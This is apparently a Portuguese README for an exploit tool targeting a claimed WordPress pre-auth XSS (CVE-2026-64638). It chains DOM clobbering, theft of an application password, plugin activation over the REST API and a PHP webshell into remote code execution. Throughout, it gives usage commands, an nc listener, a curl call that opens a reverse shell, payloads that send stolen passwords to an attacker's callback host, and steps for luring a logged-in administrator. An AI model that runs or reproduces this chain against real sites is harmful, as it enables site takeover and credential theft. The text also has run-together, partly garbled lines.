
CVE-2026-64638 — XSS Refletido Pré-Auth no WordPress → RCE via DOM Clobbering + Roubo de Senha de Aplicativo + Ativação de Plugin via REST API. PoC de modo duplo (cadeia XSS e direto).
Cadeia WordPress Pre-Auth Reflected XSS → Execução Remota de Código
DOM Clobbering + Roubo de Senha de Aplicativo + Ativação de Plugin via REST API = RCE Completo
CVE-2026-64638 é um Reflected XSS de pré-autenticação crítico no wp-login.php do WordPress. A vulnerabilidade existe porque a mensagem de erro de login reflete o nome de usuário enviado sem codificação HTML adequada, permitindo DOM Clobbering via <area id=ajaxurl> para contornar a maioria dos filtros.
Quando encadeada com o recurso de Senha de Aplicativo (Application Password) do WordPress, esse XSS se torna um vetor de Execução Remota de Código completo — sem interação do usuário além de visitar uma página de gatilho criada enquanto está logado.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Refletido) │
│ wp-login.php reflete <area id=ajaxurl> no erro de usuário │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> sequestra o JS do wp-admin → envia o formulário automaticamente │
│ ↓ │
│ [3] Roubo de Senha de Aplicativo │
│ O XSS redireciona a vítima para authorize-application.php │
│ o callback success_url captura a senha do aplicativo │
│ ↓ │
│ [4] Ativação de Plugin via REST API │
│ Senha do app → Basic Auth → wp-json/wp/v2/plugins → ativo │
│ ↓ │
│ [5] RCE via Webshell │
│ Plugin webshell PHP → uid=33(www-data) │
│ Reverse shell também disponível │
└─────────────────────────────────────────────────────────────────┘
pip3 install requests
Só isso. Biblioteca padrão do Python 3.8+ para todo o resto.
# Clonar
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Modo automático (recomendado)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: execute o exploit (inicia o servidor de callback)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: hospede a página de gatilho
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Envie para a vítima: http://192.168.1.100:8000/trigger_target.com.html
A vítima deve estar logada no WordPress como administrador. A página de gatilho:
wp-login.php via iframe ocultoauthorize-application.php para a vítima aprovarpython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
Login direto → upload do plugin → webshell instantâneo. Sem necessidade de XSS.
# Em um terminal
nc -lvnp 4444
# Em outro — o exploit aciona automaticamente o reverse shell quando --lhost está definido
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
Ou manualmente via webshell:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Script principal do exploit (modo duplo)
├── poc.py # PoC original (para referência)
├── trigger_192.168.0.87.html # Exemplo de página de gatilho
└── README.md # Este arquivo
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
Por que funciona:
sanitize_user() do WordPress remove tags HTML padrão, mas não detecta <area> com um espaço à esquerda<area id=ajaxurl> executa DOM Clobbering — ele sequestra window.ajaxurl usado pelo JavaScript do wp-adminwp_auth_check é acionado e o XSS redireciona a vítima para authorize-application.phpsuccess_url envia a senha gerada para o servidor de callback do atacanteDepois que a Senha de Aplicativo é capturada:
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} com {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT abre /bin/sh -i de volta para o atacanteEsta ferramenta é apenas para testes de segurança autorizados e pesquisa. Os autores não assumem responsabilidade por uso indevido. Sempre obtenha permissão por escrito antes de testar.
"No Exploit, No Report." — Metodologia Shannon
| Versão | Status | Observações |
|---|
| WordPress ≤ 6.9.5 | ✅ Vulnerável | Imagens Docker pré-backport ainda exploráveis |
| WordPress 6.9.6+ | ⚠️ Corrigido (backport de 7 de ago de 2026) | Imagens Docker reconstruídas após 7 de ago têm a correção |
| WordPress 7.0.x | ✅ Vulnerável | Confirmado na 7.0.2 |
| WordPress 7.1+ | ❓ Desconhecido | Não testado |
| Alvo | Versão | Modo | Resultado |
|---|
| Docker (local) | WordPress 7.0.2 | Cadeia XSS | ✅ RCE como www-data |
| Docker (local) | WordPress 7.0.2 | Direto | ✅ RCE como www-data |
| Docker (local) | WordPress 6.7 | Cadeia XSS | ✅ RCE como www-data |